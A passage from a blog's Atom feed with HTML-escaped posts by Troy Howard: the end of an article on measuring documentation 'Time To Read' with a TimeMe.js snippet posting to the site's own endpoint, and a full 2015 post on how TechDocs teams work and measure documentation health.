used this library and find that it works pretty solidly.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s some example code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;script&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;ready&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// track user activity time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setIdleDurationInSeconds&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setCurrentPageName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;my-home-page&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;initialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// record page visit event when user leaves the page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;onbeforeunload&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;withCredentials&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;/event/visit&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setRequestHeader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Content-type&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;event_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;total_time_reading&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getTimeOnCurrentPageInSeconds&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;page&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;location&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;href&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;param&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;/script&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That code will start the timer once the page fully loads, and then, using the &lt;code&gt;window.onbeforeunload&lt;/code&gt;, will trigger an AJAX post to record the TTR metric and the URL, when the user closes the page.&lt;/p&gt;&#xA;&lt;p&gt;Adding that to every page footer as part of your docs default HTML template will get you started collecting TTR measurements.&lt;/p&gt;&#xA;&lt;h2 id=&#34;interpreting-the-data&#34;&gt;Interpreting the Data&lt;/h2&gt;&#xA;&lt;p&gt;Now that we have TTR recorded, what do we do with it? First thing to realize about TTR is that it also functions as a basic page hit tracker. It is a more precise measurement than just &amp;quot;did a user visit the page or not&amp;quot;, but it can also be used in that way.&lt;/p&gt;&#xA;&lt;p&gt;The most basic things you can use it for would be detecting hot-spots and dead-wood. Which pages get the most hits? Which pages get no hits, or very few?&lt;/p&gt;&#xA;&lt;p&gt;Further, we can now look at the combination of &lt;em&gt;how much time&lt;/em&gt; and &lt;em&gt;how often&lt;/em&gt;.&#xA;Frequent visits to a page, with low amount of time on it tells you what? Something about that page is drawing users in, but they don&#39;t need to spend much time there. Is that because they didn&#39;t find what they were looking for and left after scanning it? Or is it because the page is reference style documentation, for something very commonly used, but is perhaps a bit confusing with details that are easily forgotten.&lt;/p&gt;&#xA;&lt;p&gt;How about a page that does not get very many visits, but always has a long TTR? Well... how long is &amp;quot;long&amp;quot; anyway? How many seconds &lt;em&gt;should&lt;/em&gt; a user spend on that page?&lt;/p&gt;&#xA;&lt;p&gt;You could calculate the Estimated Reading Time (ERT) for the page, then compare that to the amount of time that a users are actually spending on it. If a page has a ERT of ten (10) minutes, but users are only spending about five (5) minutes on it.. Why is that? Does the reader get distracted part-way through the page because the content is poorly written? Or maybe it is the kind of article that has more than one separate section, which can be used independently, and the user scans, finds the section they need, which only takes five (5) minutes to read.&lt;/p&gt;&#xA;&lt;p&gt;It is dangerous to infer too much about what TTR means. However, it is useful to look at outliers. If a given page has a 20 minute ERT and only sees about two (2) minutes of engagement on a regular basis, it is worth looking at that to understand why that might be. In fact, you might ask your users to tell you (send out a survey asking for feedback, or pop-up a feedback form right on the &amp;quot;outlier&amp;quot; page).&lt;/p&gt;&#xA;&lt;p&gt;Another approach: You could calculate the ERT, compare it to the TTR, and record a percentage like: &lt;code&gt;TTR / ERT * 100&lt;/code&gt;. Maybe you could apply a rule, for your content, that a ratio of TTR to ERT less than 30% or more than 150% is considered &amp;quot;unhealthy&amp;quot; and the page should be looked at? YMMV, so tweak those numbers to suit your content and users. Perhaps you can configure that per page?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;NOTE: Calculate Estimated Reading Time (ERT) using the &lt;a href=&#34;https://github.com/ngryman/reading-time&#34;&gt;reading-time library&lt;/a&gt; from &lt;a href=&#34;https://github.com/ngryman&#34;&gt;Nicolas Gryman&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Even without a ERT to compare to, a pattern of very short engagements (less than one (1) minute) and very long engagements (&amp;gt;20 minutes) probably indicate a problem, in general. Most technical documentation should be broken up to be 20 minutes or less for the ERT, and it is rare than you can get anything useful out of a page in under one (1) minute as a reader. Flag these &amp;quot;&lt;em&gt;unhealthy&lt;/em&gt;&amp;quot; TTR events and focus some time on improving those pages.&lt;/p&gt;&#xA;&lt;p&gt;Also, you will want to look at &lt;em&gt;changes&lt;/em&gt; in the norm. If a page suddenly gets a lot more or a lot less engagement, you might want to alert on that and try to understand why the user behaviour suddenly changed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;TTR is an interesting metric, but interpreting it can be difficult. It is very sensitive to the content, especially to the reading length. If you&#39;re going to track visits, you should also be tracking TTR, because it is pretty easy to do. Even if the data is hard to understand, it is better to collect more precise/rich data if possible.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Contemporary TechDocs</title>
		<id>https://blog.thoward37.me/articles/contemporary-techdocs</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/contemporary-techdocs" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/contemporary-techdocs" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/contemporary-techdocs" type="text/html"></link>
		<published>2015-08-13T00:00:00+00:00</published>
		<updated>2015-08-13T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry&#39;s understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most notably, the way that TechDocs teams do their work has changed. Traditional technical writing, evaluated by “words on a page” (accuracy, length) has been replaced by a data-driven approach to content oversight and training. We now employ scalable automated tooling to work smarter, measure the effectiveness of our work, and to prove that we&#39;ve had the impact we set out to achieve.&lt;/p&gt;&#xA;&lt;p&gt;Some of the new measures of TechDocs effectiveness are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many support requests are filed?&lt;/li&gt;&#xA;&lt;li&gt;How often are docs pages visited and updated?&lt;/li&gt;&#xA;&lt;li&gt;What is the code comment coverage?&lt;/li&gt;&#xA;&lt;li&gt;What is the reader sentiment of the docs?&lt;/li&gt;&#xA;&lt;li&gt;How long do readers spend on the page?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;techdocs-a-mission-statement&#34;&gt;TechDocs: A Mission Statement&lt;/h2&gt;&#xA;&lt;p&gt;At Twitter, the TechDocs team has the following mission statement:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;The right knowledge at the right time. Great docs enable engineers to do a lot more in a lot less time. The TechDocs team exists to foster the culture of documentation.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Our goal through writing is deliver &lt;strong&gt;the right knowledge, at the right time&lt;/strong&gt;, so that engineers can be more effective. We are also the champions of documentation in our company&#39;s engineering culture; ensuring that engineers care about docs, writing and maintaining their docs at a high level of quality.&lt;/p&gt;&#xA;&lt;p&gt;Our role as owners and authors is also changing. For technical communicators, the need to author documents that require professional oversight still commands an important role in our work (especially outward-facing docs); however, the majority of our time is focused on empowering the subject matter experts (aka SMEs, software engineers in this case) to record their knowledge themselves. In this way, we can &lt;strong&gt;scale out the responsibilities of documentation authorship&lt;/strong&gt; and maintenance to our engineers, and instead focus our effort on providing editorial assistance, expert level guidance and direction setting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;four-factors-for-techdocs-organizations&#34;&gt;Four Factors for TechDocs Organizations&lt;/h2&gt;&#xA;&lt;p&gt;We can break down this approach into four functional areas of work:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Discovery&lt;/strong&gt; - Deliver the right knowledge at the right time&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Consistency&lt;/strong&gt; - Documentation you can trust and consume easily&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#Culture&lt;/strong&gt; - Engineers highly value creating and maintaining their own documentation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;#WriteTheDocs&lt;/strong&gt; - Technical Communicators own and create high-impact content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;discovery&#34;&gt;#Discovery&lt;/h3&gt;&#xA;&lt;p&gt;The best documentation in the world is useless if it can&#39;t be found when it&#39;s needed. Many companies have documentation spread around in a number of separate silos. Even when it&#39;s all in one place, like a wiki, the content is usually poorly structured, making it hard to navigate and find content.&lt;/p&gt;&#xA;&lt;p&gt;Tooling like &lt;a href=&#34;https://readthedocs.com/&#34;&gt;Read The Docs&lt;/a&gt; can solve part of this problem by providing a single destination to consume, search and catalog content, but skilled technical communicators are required to build effective information architecture for end-user navigation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;consistency&#34;&gt;#Consistency&lt;/h3&gt;&#xA;&lt;p&gt;As writers, we spend a lot of time thinking about things like voice, reading level and using unambiguous terminology to ensure that readers consume the information accurately and easily. This kind of consistency is important, but also larger-level concerns like document templates, titling guidelines, company glossaries, and tooling to support such standards, help both readers and authors to smooth the entire process.&lt;/p&gt;&#xA;&lt;p&gt;For example, as a reader, when I go to a new doc titled &amp;quot;Tutorial&amp;quot; I should know what to expect from that. It should be similar in structure and intent to everything else called &amp;quot;Tutorial&amp;quot;. If some docs are called &amp;quot;Runbooks&amp;quot; and some are &amp;quot;Tutorials&amp;quot;, are they different? If so, the &lt;strong&gt;differences should be obvious and consistent within the documentation corpus&lt;/strong&gt;. As a content author, when I&#39;m making a new document, it should be clear whether I want to write a &amp;quot;Tutorial&amp;quot; or a &amp;quot;Runbook&amp;quot;, and there should be separate templates for each that I can use, which provide the basic structure that defines that type of document.&lt;/p&gt;&#xA;&lt;p&gt;Further, &lt;strong&gt;term usage should be consistent&lt;/strong&gt;. When there are domain specific terms, or terms that are ambiguous in their general usage, but have an unambiguous domain-specific meaning, those terms should be well defined in a glossary. That glossary should be available to both readers and authors to ensure a common understanding of the intended meaning.&lt;/p&gt;&#xA;&lt;p&gt;Every company should publish internal standards for their tech docs, and provide tools to help authors create that content using templates. Beyond that, TechDocs tooling should provide verification (linters, or other testing systems) to ensure that the published standards are adhered to. For that reason, it&#39;s best to &lt;strong&gt;choose standards which can be measured&lt;/strong&gt;, or clearly indicate when something requires human oversight to verify.&lt;/p&gt;&#xA;&lt;h3 id=&#34;culture&#34;&gt;#Culture&lt;/h3&gt;&#xA;&lt;p&gt;At Twitter, we have only four (4) full-time technical writers on our internal-facing TechDocs team, but we have a staff of nearly 2000 engineers working on roughly 4000 separate software projects. Since there is no way four writers could cover all that work, it&#39;s essential to leverage the massive resource of our engineering staff to write their own documentation.&lt;/p&gt;&#xA;&lt;p&gt;To enable this, we have to ensure that &lt;strong&gt;authoring documentation is a delightful experience&lt;/strong&gt;. We can create tools and other materials that are self-serve and fit into an engineer&#39;s normal daily workflow well. We need engineers to not only feel that writing docs is their responsibility, but also to feel motivated to keep the quality of their docs high, and regularly maintain them.&lt;/p&gt;&#xA;&lt;p&gt;Our engineers should &lt;strong&gt;feel a sense of ownership&lt;/strong&gt; of their documentation, and also the tools they use. For that reason, tying docs into your code review and issue tracker helps to keep docs on engineer&#39;s minds, and opening up your internal tooling for contributions from engineers motivates them to care about the tool.&lt;/p&gt;&#xA;&lt;h3 id=&#34;writethedocs&#34;&gt;#WriteTheDocs&lt;/h3&gt;&#xA;&lt;p&gt;Certain documentation is so critical to the success of the company that TechDocs must own the content, and ensure it is written at a high level of quality and regularly maintained.&lt;/p&gt;&#xA;&lt;p&gt;Other docs require only guidance from the TechDocs team in terms of information architecture, outlining, and style. For those projects, the engineering team can author the content, working from an outline and list of tasks that TechDocs provides them on a regular basis.&lt;/p&gt;&#xA;&lt;p&gt;TechDocs should &lt;strong&gt;operate like an internal agency&lt;/strong&gt;, fielding requests and triaging them into three categories: &amp;quot;docs we own&amp;quot;, &amp;quot;docs they own but we assist with&amp;quot;, &amp;quot;docs they own and we don&#39;t assist with&amp;quot;. Instead of a tech writer being embedded on a single project, they can work from a queue of open items from all projects, sharing the workload evenly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;measuring-techdocs&#34;&gt;Measuring TechDocs&lt;/h2&gt;&#xA;&lt;p&gt;Contemporary TechDocs teams need to be able to measure their impact to ensure they are doing the right things to improve documentation at their company. &lt;strong&gt;Without metrics, it&#39;s all guess work&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&#39;ve established the mission of TechDocs and discussed the various factors of our work, some questions come up when we try to prove that we&#39;re succeeding in this mission:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do you know that your documentation is healthy?&lt;/li&gt;&#xA;&lt;li&gt;How do you know that your documentation is having a positive impact?&lt;/li&gt;&#xA;&lt;li&gt;What areas are you impacting? Who is benefiting?&lt;/li&gt;&#xA;&lt;li&gt;How to keep up with maintenance?&lt;/li&gt;&#xA;&lt;li&gt;How do you know if things are NOT going well?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Does your current tooling answer these questions? No, it doesn&#39;t. That means building the tools to measure, then building the dashboards, monitoring, alerting, and reporting that uses those measurements. &lt;strong&gt;We need better tooling&lt;/strong&gt;, and we should probably share the effort by building it in the open.&lt;/p&gt;&#xA;&lt;h2 id=&#34;things-we-can-measure&#34;&gt;Things We Can Measure&lt;/h2&gt;&#xA;&lt;p&gt;While the value of metrics is obvious, what is not so obvious is what kind of things we can accurately measure about documentation and documentation culture.&lt;/p&gt;&#xA;&lt;p&gt;Here are some ideas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Doc Linter&lt;/strong&gt; - Measure some basic features about a document to determine its quality, objectively (reading level/lexical density, reading time, doc contains contact email?, code snippets valid?, etc)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Total Doc Commits&lt;/strong&gt; -  Overall, how many commits to doc files? High level of activity? What projects/topics?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Drift&lt;/strong&gt; - Measure the commit density distance between a piece of code and it&#39;s related docs. Commit density on code vs commit density on docs in past 30 days? (Note: &lt;em&gt;density&lt;/em&gt; is # of adds/removes in total vs # of changesets) Did the code move forward, but the docs didn&#39;t? That&#39;s called &#39;&lt;em&gt;drift&lt;/em&gt;&#39; and it&#39;s bad news!&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Traffic&lt;/strong&gt; - How many people are reading the docs? Who are they? How long are they spending on the page?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reader Sentiment&lt;/strong&gt; -  Five star rating on page, NPS survey, etc. Are readers happy with the docs?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Support Tickets&lt;/strong&gt; - What questions are people asking about? What doc pages answer that? Top ten. Did a new doc on a topic reduce inbound support tickets on that topic?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shoulder Taps&lt;/strong&gt; - Parse Hipchat/Campfire/Slack logs, look for 1:1 communication between engineers. Convos that start with &amp;quot;quick question&amp;quot;, or just start with a question and don&#39;t mention lunch. How many? Use NLP to categorize topics/nouns. What topics are generating shoulder taps? How to track real-life shoulder taps?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Docs Tickets&lt;/strong&gt; - How many JIRA/GitHub Issues are filed related to documentation (either doc bugs, or doc improvement tasks for owners, etc). Increasing or decreasing over time? Shows improvement in docs culture?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;documentation-health&#34;&gt;Documentation Health&lt;/h3&gt;&#xA;&lt;p&gt;All those measurements are useful by themselves but that might be too many things for people to think about. After all, one of the big &lt;strong&gt;#culture&lt;/strong&gt; problems around docs is that they are currently viewed as a &amp;quot;secondary concern&amp;quot; to the code. Any complexity around a &amp;quot;secondary concern&amp;quot; will cause folks to stop thinking about it.&lt;/p&gt;&#xA;&lt;p&gt;To keep things simple, we can &lt;strong&gt;aggregate the metric signals into a single measure&lt;/strong&gt;... your documentation &lt;strong&gt;&amp;quot;Health Score&amp;quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a number between 0 and 10, telling you how healthy your docs are. Each of the above signals can be implemented to provide a unit interval (a value between 0 and 1) which can be composited into a normed vector space, with a rank applied to each signal to influence the final score. You can tweak your algorithm to emphasize the signals your organization cares about.&lt;/p&gt;&#xA;&lt;p&gt;This score could be displayed on the project homepage, so engineers who are project owners can see a clear indicator of how they are doing. You can provide those engineers with tools to iteratively improve this number. The score can be clickable, to see a detailed report of what is wrong. Your documentation build system can regularly email reports to project owners with stats about their project, to let them know how they are doing. When they are doing well, you can reward them with perks like shoutouts to their managers, or swag like stickers, shirts, or other material items.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;Contemporary TechDocs, in businesses that produce software products, is no longer as simple as hiring tech writers. You can&#39;t just park more tech writers in chairs and tell them to crank away at writing docs, adding more warm bodies as the workload increases. &lt;strong&gt;Brute force doesn&#39;t work.&lt;/strong&gt; It doesn&#39;t scale. As Martin Sustrik &lt;a href=&#34;http://250bpm.com/blog:58&#34;&gt;recently pointed out&lt;/a&gt;, we have to operate under new principles, which support a more scalable and modern approach.&lt;/p&gt;&#xA;&lt;p&gt;A snow shovel works well to clear a driveway, but you&#39;ll need a more sophisticated approach to keep the roads safe and clear for an entire city.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: Significant portions of this blog post are taken nearly-verbatim, or lightly paraphrased from Twitter&#39;s TechDocs team documents which were a collaborative effort. Other pieces are directly ripped from conversations I&#39;ve had with various &lt;a href=&#34;https://twitter.com/writethedocs&#34;&gt;Write The Docs&lt;/a&gt; community members. Specifically, co-authorship credits should go to my team at Twitter (&lt;a href=&#34;http://twitter.com/markog&#34;&gt;Marko Gargenta&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/ngroschwitz&#34;&gt;Nancy Groschwitz&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/ricardoc&#34;&gt;Ricardo Cervera&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc Perkins&lt;/a&gt;) as well as WTD community members &lt;a href=&#34;https://twitter.com/nikblanchet&#34;&gt;Nik Blanchet&lt;/a&gt; and &lt;a href=&#34;https://twitter.com/gjtorikian&#34;&gt;Garen Torikian&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;</summary>
